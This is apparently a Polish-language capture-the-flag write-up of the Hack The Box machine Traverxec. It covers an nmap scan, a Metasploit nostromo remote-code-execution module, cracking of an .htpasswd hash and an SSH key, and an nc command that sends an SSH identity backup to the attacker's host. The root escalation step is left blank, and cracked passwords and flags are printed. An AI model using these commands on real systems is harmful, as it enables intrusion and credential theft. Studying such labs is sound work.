Traverxec - 02.08.2021


Nmap

┌──(kali㉿kali-os)-[~/htb/active]
└─$ nmap -sC -sV 10.10.10.165
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 05:16 EDT
Nmap scan report for 10.10.10.165
Host is up (0.17s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Msfconsole

Szybkie sprawdzenie nostromo 1.9.6, okazuje się, że jest exploit na zdalne wykonywanie kodu.

Msfconsole -> exploit/multi/http/nostromo_code_exec

python -c 'import pty; pty.spawn("/bin/sh")'

╔══════════╣ Analyzing Htpasswd Files (limit 70)                                                                                                                                                                                            
-rw-r--r-- 1 root bin 41 Oct 25  2019 /var/nostromo/conf/.htpasswd                                                                                                                                                                          
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Hashcat

Start hashcata na modzie 500

hashcat -m 500 david.hash /usr/share/wordlists/rockyou.txt

Hasło .htpasswd złamane

david:Nowonly4me

Spojrzenie na układ nostromo. Można znaleźć tam ciekawy plik konfiguracyjny nhttpd.conf

$ cat nhttpd.conf
cat nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

Nietypowa ścieżka domowa

W kodzie zródłowym nic specjalnego nie było.

Jednak, gdy pogrzebiemy głębiej, znajdziemy ciekawy folder

homedirs                /home

homedirs_public         public_www


Przesyłanie pliku backup.tgz za pomocą nc

Victim

nc 10.10.14.160 9000 < backup-ssh-identity-files.tgz

Kali

nc -lvnp 9000 > backup.tgz

Klucz id_rsa okazał się zaszyfrowany


ssh2john

Potrzebny był ssh2john.py

/usr/share/john/ssh2john.py david.ssh

Po chwili john znalazł klucz

john david_john.ssh --wordlist= /usr/share/wordlists/rockyou.txt

hunter

Należy nadać uprawnienia 600 kluczowi

Udało się

user.txt

7db0b48469606a42cec20750d9782f3d


Priv Esc

root.txt

9aa36a6d76f785dfd320a478f6e0d906